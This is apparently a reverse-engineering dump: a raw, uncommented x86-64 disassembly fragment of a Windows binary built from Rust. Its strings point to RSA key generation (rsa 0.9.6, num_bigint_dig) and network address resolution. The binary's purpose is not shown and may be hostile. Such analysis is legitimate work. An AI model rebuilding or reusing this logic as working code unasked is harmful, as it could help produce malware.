mov rcx, rax
shr rcx, 0x1b
xor r8d, ecx
mov rcx, rax
shr rcx, 0x3b
ror r8d, cl
mov dword [rbp + rdx + 0x83e0], r8d
add rdx, 4
jmp 0x14000a207
movaps xmm0, xmmword [rbp + 0x83e0]
movaps xmm1, xmmword [rbp + 0x83f0]
movups xmmword [rbp + 0x8490], xmm1
movups xmmword [rbp + 0x8480], xmm0
lea rcx, [rbp + 0x84f0]
lea rdx, [rbp + 0x8480]
lea r8, [0x14006b7b0]
call fcn.140034b0a
mov r8d, 0x100
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
movaps xmm0, xmmword [rbp + 0x84f0]
movaps xmm1, xmmword [rbp + 0x8500]
movaps xmm2, xmmword [rbp + 0x8510]
lea rax, [rbp + 0x6078]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rbp + 0xc0], 0x40
mov rax, qword [rbp + 0x60a0]
lea rcx, [rbp - 0x10]
mov qword [rcx + 0x108], rax
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
movdqu xmm2, xmmword [rbp + 0x6090]
movdqu xmmword [rcx + 0xf8], xmm2
movdqu xmmword [rcx + 0xe8], xmm1
movdqu xmmword [rcx + 0xd8], xmm0
xor eax, eax
cmp rax, 0x15
je 0x14000a663
mov qword [rbp + 0x8698], rax
cmp rax, 0x14
jne 0x14000a330
call fcn.14002a3d0
lea rdi, [rbp + 0x83e0]
mov rcx, rdi
lea rdx, [0x140075038]
call fcn.14002a1d1
jmp 0x14000a493
mov rax, qword [rbp + 0x8578]
cmp rax, 5
lea rdi, [rbp + 0x8480]
jb 0x14000a34b
mov rax, qword [rbp + 0x8558]
test rax, rax
je 0x140012627
lea rcx, [rbp + 0x8550]
call fcn.140002b70
mov r12, rax
mov rbx, rax
shr rbx, 6
and eax, 0x3f
cmp rax, 1
mov r13, rbx
sbb r13, 0xffffffffffffffff
mov esi, r12d
neg esi
and esi, 0x3f
lea rcx, [rbp + 0x84f0]
mov rdx, r13
call fcn.14002aae2
mov rdx, qword [rbp + 0x8518]
lea rcx, [rbp + 0x84f8]
cmp rdx, 5
jb 0x14000a3b1
mov rdx, qword [rbp + 0x84f8]
mov rcx, qword [rbp + 0x8500]
lea r8, [rbp - 0x40]
call fcn.14002a25c
test r12b, 0x3f
je 0x14000a3db
lea rcx, [rbp + 0x84f0]
mov rdx, rbx
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.14002aa0e
mov ecx, esi
shr qword [rax], cl
movdqu xmm0, xmmword [rbp + 0x84f0]
movdqu xmm1, xmmword [rbp + 0x8500]
movdqu xmm2, xmmword [rbp + 0x8510]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
mov rcx, rdi
lea rdx, [rbp + 0x6070]
call fcn.1400029f7
mov rcx, rdi
lea rdx, [rbp + 0x8550]
call fcn.14002e794
test al, al
jne 0x14000a43a
mov rcx, rdi
call fcn.14002a34c
jmp 0x14000a380
movdqu xmm0, xmmword [rbp + 0x8480]
movdqu xmm1, xmmword [rbp + 0x8490]
movdqu xmm2, xmmword [rbp + 0x84a0]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
call fcn.14002a3d0
lea rdi, [rbp + 0x83e0]
mov rcx, rdi
lea r13, [rbp + 0x6070]
mov rdx, r13
lea r8, [0x140075038]
call fcn.14002bcbb
lea r12, [rbp - 0x40]
lea rcx, [rbp + 0x84f0]
mov rdx, rdi
lea r8, [rbp + 0x8390]
lea r9, [rbp + 0x8440]
call fcn.14002e983
mov rcx, qword [rbp + 0x8518]
lea rax, [rbp + 0x84f8]
cmp rcx, 5
jb 0x14000a4d2
mov rcx, qword [rbp + 0x84f8]
mov rax, qword [rbp + 0x8500]
cmp rcx, 1
jne 0x14000a4de
cmp qword [rax], 1
je 0x14000a4f5
lea rcx, [rbp + 0x84f0]
lea rdx, [rbp + 0x82f0]
call fcn.140005858
test al, al
je 0x14000a526
mov rdi, qword [rbp + 0x8698]
inc rdi
lea rcx, [rbp + 0x84f0]
call fcn.14002a34c
lea rcx, [rbp + 0x83e0]
call fcn.14002a34c
mov rax, rdi
mov rdi, qword [rbp + 0x8590]
jmp 0x14000a2f9
push 1
pop rdi
mov rcx, qword [rbp + 0x8680]
cmp rdi, rcx
jae 0x14000a5ea
call fcn.14002a3d0
mov rcx, r13
lea rbx, [rbp + 0x84f0]
mov rdx, rbx
lea r8, [0x140075038]
lea r9, [rbp + 0x8440]
call fcn.14002e983
mov rcx, rbx
call fcn.14002a34c
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
movdqu xmm2, xmmword [rbp + 0x6090]
movdqa xmmword [rbp + 0x8510], xmm2
movdqa xmmword [rbp + 0x8500], xmm1
movdqa xmmword [rbp + 0x84f0], xmm0
mov rcx, rbx
lea rdx, [rbp + 0x82f0]
call fcn.140005858
test al, al
jne 0x14000a4f5
mov rcx, qword [rbp + 0x8518]
lea rax, [rbp + 0x84f8]
cmp rcx, 5
jb 0x14000a5cf
mov rcx, qword [rbp + 0x84f8]
mov rax, qword [rbp + 0x8500]
cmp rcx, 1
mov rcx, qword [rbp + 0x8680]
jne 0x14000a5e2
cmp qword [rax], 1
je 0x14000a5ea
inc rdi
jmp 0x14000a530
lea rcx, [rbp + 0x84f0]
call fcn.14002a34c
lea rcx, [rbp + 0x83e0]
call fcn.14002a34c
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
lea rcx, [rbp + 0x8390]
call fcn.14002a34c
lea rcx, [rbp + 0x82f0]
call fcn.14002a34c
cmp qword [rbp + 0x8698], 0x15
mov rdi, qword [rbp + 0x8590]
jae 0x14000a687
lea rcx, [rbp + 0x8280]
call fcn.14002a34c
lea rcx, [rbp + 0x8330]
call fcn.14002a34c
lea rsi, [rbp + 0x8440]
mov rcx, rsi
call fcn.14002a34c
jmp 0x140009856
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
lea rcx, [rbp + 0x8390]
call fcn.14002a34c
lea rcx, [rbp + 0x82f0]
call fcn.14002a34c
lea rsi, [rbp + 0x8440]
mov qword [rbp + 0x81b8], rsi
mov rax, qword [rbp + 0x8468]
cmp rax, 5
jb 0x14000a6bc
cmp qword [rbp + 0x8448], 0
je 0x14000a6e7
mov rax, qword [rbp + 0x8448]
mov rcx, qword [rbp + 0x8450]
jmp 0x14000a6c8
lea rcx, [rbp + 0x8448]
test rax, rax
je 0x14000a6e7
cmp rax, 1
jne 0x14000a6d4
cmp qword [rcx], 1
je 0x14000a6e7
mov rcx, rsi
call fcn.140005fdd
test rax, rax
je 0x14000a704
cmp rdx, 2
jne 0x14000a704
lea rcx, [rbp + 0x8280]
call fcn.14002a34c
lea rcx, [rbp + 0x8330]
call fcn.14002a34c
jmp 0x14000a656
mov rcx, r12
mov rdx, rsi
call fcn.14002a1d1
mov rax, qword [rbp - 0x18]
cmp rax, 5
jb 0x14000a71d
mov rax, qword [rbp - 0x38]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbp + 0x82e0], al
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmm2, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x82b0], xmm0
movaps xmmword [rbp + 0x82c0], xmm1
movaps xmmword [rbp + 0x82d0], xmm2
push 3
pop rbx
lea rsi, [rbp + 0x8390]
cmp rbx, 0x2711
je 0x1400129e6
mov qword [rbp + 0x82e8], rbx
mov rdx, rbx
imul rdx, rbx
add rdx, 0xfffffffffffffffc
mov rcx, r12
call fcn.140030bd1
mov rax, qword [rbp - 0x40]
lea rcx, [rbp - 0x38]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movaps xmmword [rbp + 0x6070], xmm0
movaps xmmword [rbp + 0x6080], xmm1
movaps xmmword [rbp + 0x6090], xmm2
cmp rax, 2
je 0x140012a30
mov qword [rbp + 0x82f0], rax
movdqa xmm0, xmmword [rbp + 0x6070]
movdqa xmm1, xmmword [rbp + 0x6080]
movdqa xmm2, xmmword [rbp + 0x6090]
lea rax, [rbp + 0x82f8]
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rbx, [rbp + 0x82b0]
mov qword [rbp + 0x8180], rbx
mov rcx, rbx
call fcn.14002f306
test al, al
je 0x14001299c
mov rcx, rsi
lea rdx, [rbp + 0x82f0]
call fcn.14002bc80
lea rcx, [rbp + 0x8550]
mov rdx, rbx
call fcn.14002bc80
cmp byte [rbp + 0x8580], 0
push 1
pop rax
mov qword [rbp + 0x8698], rax
jne 0x14000a853
cmp byte [rbp + 0x83c0], 1
mov eax, 0
sbb rax, rax
or rax, 1
mov qword [rbp + 0x8698], rax
mov byte [rbp + 0x8580], 2
lea rcx, [rbp + 0x8550]
call fcn.140030bc4
test al, al
jne 0x14000af76
cmp byte [rbp + 0x83c0], 1
je 0x14000b020
mov rcx, r13
mov rdx, rsi
lea r8, [rbp + 0x8550]
call fcn.14002b0d4
mov rax, qword [rbp + 0x6070]
mov qword [rbp + 0x8680], rax
mov rbx, qword [rbp + 0x6078]
lea r8, [rbp + 0x6078]
mov rax, qword [r8 + 0x18]
mov qword [rbp + 0x8380], rax
movups xmm0, xmmword [r8 + 8]
movaps xmmword [rbp + 0x8370], xmm0
mov rdi, qword [rbp + 0x6098]
mov rax, qword [rbp + 0x60a0]
mov r10, qword [rbp + 0x60a8]
mov rdx, qword [r8 + 0x48]
lea r9, [rbp + 0x83f0]
mov qword [r9 + 0x10], rdx
movups xmm0, xmmword [r8 + 0x38]
movups xmmword [r9], xmm0
mov rdx, qword [rbp + 0x60c8]
cmp rdi, 5
mov rcx, r13
mov r13, rdi
cmovae r13, rbx
cmp r13, 1
mov sil, 2
sbb sil, 0
cmp rdx, 5
mov r12, rdx
cmovae r12, r10
cmp r12, 1
mov r8b, 2
sbb r8b, 0
mov byte [rbp + 0x8410], r8b
mov qword [rbp + 0x83e0], rax
mov qword [rbp + 0x83e8], r10
mov qword [rbp + 0x8408], rdx
call fcn.14002a59e
mov rax, qword [rbp + 0x6098]
cmp rax, 5
jb 0x14000a951
mov rax, qword [rbp + 0x6078]
cmp rax, 1
mov al, 2
sbb al, 0
mov byte [rbp + 0x84b0], al
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp + 0x8480], xmm0
movaps xmmword [rbp + 0x8490], xmm1
movaps xmmword [rbp + 0x84a0], xmm2
mov al, byte [rbp + 0x83c0]
movzx ecx, byte [rbp + 0x8580]
test ecx, ecx
je 0x14000aa10
cmp ecx, 2
jne 0x14001285f
test al, al
je 0x14000ac00
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
mov rcx, rsi
call fcn.14002a34c
mov rax, qword [rbp + 0x8698]
cmp rax, 0xffffffffffffffff
je 0x14000b125
test rax, rax
je 0x14000b46d
cmp qword [rbp + 0x82e8], 0x28
lea r13, [rbp + 0x6070]
lea r12, [rbp - 0x40]
lea rsi, [rbp + 0x8440]
jne 0x14000affe
mov rcx, r13
mov rdx, rsi
call fcn.14002e0c0
mov rcx, r12
mov rdx, r13
mov r8, r13
call fcn.1400027e2
mov rcx, r12
mov rdx, rsi
call fcn.140005858
mov ebx, eax
mov rcx, r12
call fcn.14002a34c
mov rcx, r13
call fcn.14002a34c
test bl, bl
jne 0x14000b6f0
mov rbx, qword [rbp + 0x82e8]
inc rbx
lea rcx, [rbp + 0x82f0]
call fcn.14002a34c
mov rdi, qword [rbp + 0x8590]
jmp 0x14000a74f
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
mov rcx, rsi
call fcn.14002a34c
movzx eax, byte [rbp + 0x82e0]
cmp eax, 2
je 0x14000b049
cmp eax, 1
jne 0x14000b075
xor edx, edx
jmp 0x14000b0b4
lea rcx, [rbp + 0x82b0]
call fcn.140005fdd
xor esi, esi
test rax, rax
je 0x14000b0ca
test rdx, rdx
mov rdi, qword [rbp + 0x8590]
lea r13, [rbp + 0x6070]
lea r12, [rbp - 0x40]
jns 0x14000b0b4
lea rcx, [rbp + 0x82b0]
call fcn.140005fdd
test rax, rax
je 0x14000b0c8
mov rdi, qword [rbp + 0x8590]
lea r13, [rbp + 0x6070]
lea r12, [rbp - 0x40]
jmp 0x14000b0e0
lea rsi, [rbp + 0x82f0]
mov rcx, rsi
call fcn.14002a34c
call fcn.14002a4db
mov rcx, rsi
lea rdx, [rbp + 0x8440]
lea r8, section..data
call fcn.14002dfe2
mov rcx, rsi
call fcn.14002b087
mov qword [rbp + 0x8698], rdx
test rax, rax
je 0x140012a3c
lea rdi, [rbp - 0x40]
mov rcx, rdi
mov rdx, rsi
mov r8, qword [rbp + 0x8698]
call fcn.14002e7ba
mov rcx, rsi
call fcn.14002a34c
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmm2, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x8310], xmm2
movaps xmmword [rbp + 0x8300], xmm1
movaps xmmword [rbp + 0x82f0], xmm0
call fcn.14002a3d0
lea rcx, [rbp + 0x8390]
lea rdx, [rbp + 0x8440]
lea rsi, [0x140075038]
mov r8, rsi
call fcn.14002e054
call fcn.14002a3d0
lea rcx, [rbp + 0x8550]
mov rdx, rsi
call fcn.14002a1d1
mov rcx, rdi
mov rdx, qword [rbp + 0x82e8]
call fcn.14002a319
cmp dword [rbp - 0x40], 2
je 0x140012a48
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmm1, xmmword [rbp - 0x30]
movdqu xmm2, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x8400], xmm2
movdqa xmmword [rbp + 0x83f0], xmm1
movdqa xmmword [rbp + 0x83e0], xmm0
lea rcx, [rbp + 0x82f0]
call fcn.140002b70
mov rsi, rax
dec rsi
cmp rsi, 0xffffffffffffffff
je 0x14000b484
mov rdi, qword [rbp + 0x8590]
lea r13, [rbp + 0x6070]
lea r12, [rbp - 0x40]
jmp 0x14000b034
xor edi, edi
mov rsi, r15
cmp rsi, rcx
je 0x14000b8b3
lea rbx, [rsi + 0x30]
mov r15, rdi
xor r12d, r12d
test r15, r15
je 0x14000b7e4
cmp qword [rbp + 0x8650], r12
je 0x14000b7e4
mov rax, qword [rbp + 0x8688]
lea rdx, [rax + r12]
mov rcx, rsi
call fcn.140005858
mov rcx, qword [rbp + 0x8640]
add r12, 0x30
inc r15
test al, al
je 0x14000b7af
jmp 0x14000b7f7
dec rdi
mov rsi, rbx
mov r15, qword [rbp + 0x8688]
lea r12, [rbp - 0x40]
jmp 0x14000b79c
mov r15, qword [rbp + 0x8688]
mov r9, r15
xor r8d, r8d
mov edx, 0x800
mov rdi, qword [rbp + 0x8590]
lea r12, [rbp - 0x40]
lea rsi, [rbp + 0x8440]
jmp 0x1400097aa
movups xmm0, xmmword [rbp + 0x8440]
movups xmm1, xmmword [rbp + 0x8450]
movups xmm2, xmmword [rbp + 0x8460]
movaps xmmword [rbp - 0x20], xmm2
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rcx, qword [rbp + 0x81f0]
mov rdx, qword [rbp + 0x81f8]
call fcn.140037dd5
mov rbx, qword [rbp + 0x81e0]
mov rcx, rbx
call fcn.14002a34c
movdqa xmm0, xmmword [rbp - 0x40]
movdqa xmm1, xmmword [rbp - 0x30]
movdqa xmm2, xmmword [rbp - 0x20]
movdqu xmmword [rbx + 0x20], xmm2
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
mov rcx, rbx
call fcn.140002b70
mov rdx, qword [rbp + 0x8598]
sub rdx, rax
mov r9, qword [rbp + 0x81e8]
mov r15, qword [rbp + 0x8688]
mov rcx, qword [rbp + 0x8640]
mov r8, qword [rbp + 0x8230]
jmp 0x1400097aa
lea rcx, [rbp + 0x84f0]
call fcn.140038051
mov rdi, qword [rbp + 0x8238]
test rdi, rdi
je 0x14000b958
movups xmm0, xmmword [rbp + 0x84f0]
movups xmm1, xmmword [rbp + 0x8500]
movups xmm2, xmmword [rbp + 0x8510]
movaps xmmword [rbp + 0x6090], xmm2
movaps xmmword [rbp + 0x6080], xmm1
movaps xmmword [rbp + 0x6070], xmm0
mov rsi, r15
movdqa xmm0, xmmword [rbp + 0x6070]
movdqa xmm1, xmmword [rbp + 0x6080]
movdqa xmm2, xmmword [rbp + 0x6090]
movdqa xmmword [rbp - 0x20], xmm2
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x10], rsi
mov rcx, r13
mov rdx, r12
mov r8, rsi
call fcn.140038092
add rsi, 0x30
dec rdi
jne 0x14000b8fc
movdqa xmm0, xmmword [rbp + 0x6070]
movdqa xmm1, xmmword [rbp + 0x6080]
movdqa xmm2, xmmword [rbp + 0x6090]
jmp 0x14000b970
movdqu xmm0, xmmword [rbp + 0x84f0]
movdqu xmm1, xmmword [rbp + 0x8500]
movdqu xmm2, xmmword [rbp + 0x8510]
movdqa xmmword [rbp + 0x8400], xmm2
movdqa xmmword [rbp + 0x83f0], xmm1
movdqa xmmword [rbp + 0x83e0], xmm0
lea rsi, [rbp + 0x83e0]
mov rcx, rsi
call fcn.140002b70
cmp rax, 0x800
mov rdi, qword [rbp + 0x8590]
jne 0x14000ba3b
cmp qword [rbp + 0x84e8], 0xfffffffffffffffd
ja 0x14000baa6
lea rcx, [rbp + 0x8480]
call fcn.140005a31
xor edi, edi
cmp qword [rbp + 0x8650], rdi
je 0x14000ba40
lea rsi, [r15 + rdi]
mov rcx, r12
call fcn.140005a31
mov rcx, r13
mov rdx, rsi
mov r8, r12
call fcn.14002be2d
mov rcx, r12
lea rsi, [rbp + 0x8480]
mov rdx, rsi
mov r8, r13
call fcn.1400027e2
mov rcx, rsi
call fcn.14002a34c
movdqu xmm0, xmmword [rbp - 0x40]
movdqu xmm1, xmmword [rbp - 0x30]
movdqu xmm2, xmmword [rbp - 0x20]
movdqa xmmword [rbp + 0x84a0], xmm2
movdqa xmmword [rbp + 0x8490], xmm1
movdqa xmmword [rbp + 0x8480], xmm0
mov rcx, r13
call fcn.14002a34c
add rdi, 0x30
jmp 0x14000b9c6
mov rcx, rsi
jmp 0x14000baad
movdqa xmm0, xmmword [rbp + 0x8480]
movdqa xmm1, xmmword [rbp + 0x8490]
movdqa xmm2, xmmword [rbp + 0x84a0]
movdqa xmmword [rbp - 0x20], xmm2
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x80c0]
mov qword [rbp + 0x84f8], rax
mov qword [rbp + 0x84f0], 2
mov rcx, r13
lea rdx, [rbp + 0x84f0]
mov r8, r12
call fcn.14002f96f
cmp dword [rbp + 0x6070], 2
jne 0x14000bef5
mov rdi, qword [rbp + 0x8590]
lea rcx, [rbp + 0x83e0]
call fcn.14002a34c
mov r9, r15
xor r8d, r8d
mov edx, 0x800
mov rcx, qword [rbp + 0x8640]
lea rsi, [rbp + 0x8440]
jmp 0x1400097aa
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_bigrand.rs
call fcn.140057220
lea rdx, [rbp + 0x4058]
mov rax, qword [rdx + 8]
movzx ecx, word [rdx + 0x10]
mov r8d, dword [rdx + 0x12]
mov dword [rbp + 0x83e0], r8d
movzx r9d, word [rdx + 0x16]
mov word [rbp + 0x83e4], r9w
mov word [rbp + 0x8550], cx
mov qword [rdx], r10
mov qword [rdx + 8], rax
mov word [rdx + 0x10], cx
mov dword [rdx + 0x12], r8d
mov word [rdx + 0x16], r9w
mov qword [rdx - 8], r14
mov byte [rbp + 0x863f], 1
lea rcx, [rbp - 0x40]
call fcn.1400467c0
movzx esi, word [rbp - 0x40]
cmp si, 2
jne 0x14000bb61
mov rcx, qword [rbp + 0x4058]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
push 4
pop rsi
xor eax, eax
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x86a0], rsi
jmp 0x140008e45
mov edi, dword [rbp - 0x3e]
movzx r15d, word [rbp - 0x3a]
movzx r14d, word [rbp - 0x24]
movzx ebx, word [rbp - 0x22]
mov rax, qword [rbp + 0x4050]
movzx r12d, word [rax]
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x6080], eax
movdqu xmm0, xmmword [rbp - 0x38]
movdqa xmmword [rbp + 0x6070], xmm0
mov al, byte [0x140075320]
mov edx, 0x80
xor ecx, ecx
call fcn.140047120
test rax, rax
je 0x1400121b6
test si, si
cmovne r14d, r12d
cmove r15d, r12d
lea rdx, [rbp + 0x6078]
mov ecx, dword [rdx + 8]
mov dword [rax + 0x18], ecx
movaps xmm0, xmmword [rdx - 8]
movups xmmword [rax + 8], xmm0
mov word [rax], si
mov dword [rax + 2], edi
mov word [rax + 6], r15w
mov word [rax + 0x1c], r14w
mov qword [rbp + 0x8648], rax
mov word [rax + 0x1e], bx
mov rbx, rdx
movdqu xmm0, xmmword [rbp + 0x4050]
movdqu xmm1, xmmword [rbp + 0x4060]
movdqa xmmword [rdx + 8], xmm1
movdqa xmmword [rdx - 8], xmm0
push 1
pop r13
lea r15, [rbp - 0x38]
xor eax, eax
mov qword [rbp + 0x8698], rax
push 4
pop rax
mov qword [rbp + 0x8660], rax
lea rcx, [rbp - 0x40]
mov rdx, rbx
call fcn.1400467c0
movzx edi, word [rbp - 0x40]
cmp di, 2
je 0x14000bd83
mov r10d, dword [rbp - 0x3e]
movzx r9d, word [rbp - 0x22]
mov rax, qword [rbp + 0x6070]
movzx r14d, word [rax]
test di, di
movzx esi, word [rbp - 0x3a]
cmove si, r14w
cmove r14w, word [rbp - 0x24]
movdqu xmm0, xmmword [r15]
movdqa xmmword [rbp + 0x8480], xmm0
mov eax, dword [r15 + 0x10]
mov dword [rbp + 0x8490], eax
mov rcx, qword [rbp + 0x8660]
cmp r13, rcx
jne 0x14000bce2
mov r12, rbx
mov rbx, rcx
inc rbx
je 0x140011ca5
lea rax, [rcx + rcx]
cmp rax, rbx
cmova rbx, rax
xor edx, edx
mov rax, rbx
shr rax, 0x3a
sete al
cmp rbx, 5
push 4
pop r8
cmovb rbx, r8
test rcx, rcx
mov word [rbp + 0x86a0], r9w
mov dword [rbp + 0x8680], r10d
je 0x14000bceb
shl rcx, 5
mov r9, qword [rbp + 0x8648]
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x30], rcx
mov rcx, r8
jmp 0x14000bced
mov rdx, qword [rbp + 0x8648]
jmp 0x14000bd3b
xor ecx, ecx
mov r8, rbx
shl r8, 5
mov dl, al
shl edx, 2
mov qword [rbp - 0x38], rcx
lea rcx, [rbp + 0x85a0]
lea r9, [rbp - 0x40]
call fcn.14003f930
cmp qword [rbp + 0x85a0], 0
jne 0x140011ca7
mov rdx, qword [rbp + 0x85a8]
mov qword [rbp + 0x8660], rbx
mov rbx, r12
movzx r9d, word [rbp + 0x86a0]
mov r10d, dword [rbp + 0x8680]
mov rax, r13
shl rax, 5
mov word [rdx + rax], di
mov dword [rdx + rax + 2], r10d
mov word [rdx + rax + 6], si
movdqa xmm0, xmmword [rbp + 0x8480]
movdqu xmmword [rdx + rax + 8], xmm0
mov ecx, dword [rbp + 0x8490]
mov dword [rdx + rax + 0x18], ecx
mov word [rdx + rax + 0x1c], r14w
mov qword [rbp + 0x8648], rdx
mov word [rdx + rax + 0x1e], r9w
inc r13
jmp 0x14000bc21
mov rcx, qword [rbp + 0x6078]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
mov rsi, qword [rbp + 0x8648]
test rsi, rsi
je 0x14000bdaf
shl r13, 5
add r13, rsi
mov qword [rbp + 0x86a0], r13
jmp 0x140008e45
push 1
pop rsi
xor r14d, r14d
jmp 0x14000958a
xor r12d, r12d
test r15d, r15d
setne r12b
cmovne r9, r14
cmovne r10, r11
cmp r12d, 1
jne 0x14000bdda
mov rcx, r10
mov r8, r9
jmp 0x14000bde1
test r12d, r12d
cmove ebx, r12d
test r8, r8
je 0x140008d72
cmp byte [rcx], 0x5d
jne 0x140008d72
mov r9, r8
dec r9
je 0x14000be6b
xor r11d, r11d
cmp byte [rcx + 1], 0x3a
jne 0x14000be6b
add rcx, 2
add r8, 0xfffffffffffffffe
mov r14w, 0xa
mov r10, r8
mov r12, rcx
xor r15d, r15d
test r10, r10
je 0x14000be3f
lea rdx, [r12 + 1]
movzx r13d, byte [r12]
add r13d, 0xffffffd0
xor eax, eax
cmp r13d, 0xa
setb al
cmovb r12, rdx
sub r10, rax
jmp 0x14000be41
xor eax, eax
cmp eax, 1
jne 0x14000beb7
mov eax, r15d
mul r14w
jo 0x14000bea2
add ax, r13w
setb dl
cmp r13d, 0xffff
ja 0x14000bea2
test dl, dl
jne 0x14000bea2
inc r11d
mov r15d, eax
jmp 0x14000be1a
scasd eax, dword [rdi]
scasd eax, dword [rdi]
xor eax, eax
mov r10, r9
test ax, ax
jne 0x14000bec7
jmp 0x140008d72
lea rcx, str.internal_error:_entered_unreachable_code
or eax, 0x61adf
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
push 0x28
jmp 0x14000be9c
lea rcx, str.Once_has_panicked
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
push 0x11
pop rdx
call fcn.140056c70
mov qword [rbp + 0x6078], r10
xor eax, eax
mov qword [rbp + 0x6070], rcx
mov r10, r8
jmp 0x14000bec1
xor eax, eax
test r11d, r11d
setne al
je 0x14000beab
cmp ax, 1
jne 0x14000be6d
test r10, r10
jne 0x140008d72
movd r14d, xmm0
pshufd xmm6, xmm0, 0xf9
shl r14, 8
mov di, 1
xor esi, esi
jmp 0x140008dd9
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmsgenerate.rs
call fcn.140056e60
mov rax, qword [rbp + 0x60a0]
mov qword [rbp - 0x10], rax
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp - 0x20], xmm2
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
movzx eax, al
cmp eax, 1
je 0x14000bf47
cmp eax, 2
jne 0x140012ae7
lea rsi, [rbp + 0x84f0]
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.1400057eb
jmp 0x14000bf56
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
call fcn.140005fb8
mov r15, qword [rsi]
lea rax, [rbp + 0x84f8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x8550], xmm0
movaps xmmword [rbp + 0x8560], xmm1
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x8570], rax
cmp r15, 2
je 0x140012ae7
mov rax, qword [rbp + 0x8570]
mov qword [rbp + 0x81b0], rax
movaps xmm0, xmmword [rbp + 0x8550]
movaps xmm1, xmmword [rbp + 0x8560]
movaps xmmword [rbp + 0x81a0], xmm1
movaps xmmword [rbp + 0x8190], xmm0
lea rsi, [rbp - 0x40]
mov rcx, rsi
call fcn.14002a34c
movaps xmm0, xmmword [rbp + 0x83e0]
movaps xmm1, xmmword [rbp + 0x83f0]
movaps xmm2, xmmword [rbp + 0x8400]
movaps xmmword [rsi + 0x20], xmm2
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
lea rsi, [rbp - 0x10]
lea rdx, [rbp + 0x80c0]
mov rcx, rsi
call fcn.1400057eb
mov rdx, qword [rsi - 0x30]
mov r14, qword [rsi - 0x28]
mov rbx, qword [rsi - 0x20]
lea rsi, [rbp - 0x28]
push 9
pop rcx
lea rdi, [rbp + 0x4050]
rep movsq qword [rdi], qword [rsi]
cmp rdx, 2
je 0x140012b43
push 9
pop rcx
lea rax, [rbp + 0x85a0]
lea rsi, [rbp + 0x4050]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x8240], r15
movaps xmm0, xmmword [rbp + 0x8190]
movaps xmm1, xmmword [rbp + 0x81a0]
movups xmmword [rbp + 0x8248], xmm0
movups xmmword [rbp + 0x8258], xmm1
mov rcx, qword [rbp + 0x81b0]
mov qword [rbp + 0x8268], rcx
mov rcx, qword [rbp + 0x80f8]
mov qword [rbp + 0x8208], rcx
mov rcx, qword [rbp + 0x8688]
mov qword [rbp + 0x8210], rcx
mov rcx, qword [rbp + 0x8238]
mov qword [rbp + 0x8218], rcx
mov qword [rbp + 0x8138], rdx
mov qword [rbp + 0x8140], r14
mov qword [rbp + 0x8148], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x8150], xmm0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x8160], rcx
movups xmm0, xmmword [rax + 0x18]
movups xmm1, xmmword [rax + 0x28]
movups xmm2, xmmword [rax + 0x38]
movaps xmmword [rbp + 0x8120], xmm2
movaps xmmword [rbp + 0x8110], xmm1
movaps xmmword [rbp + 0x8100], xmm0
mov rax, qword [rbp + 0x8148]
mov rcx, qword [rbp + 0x8150]
lea rsi, [rbp + 0x6070]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
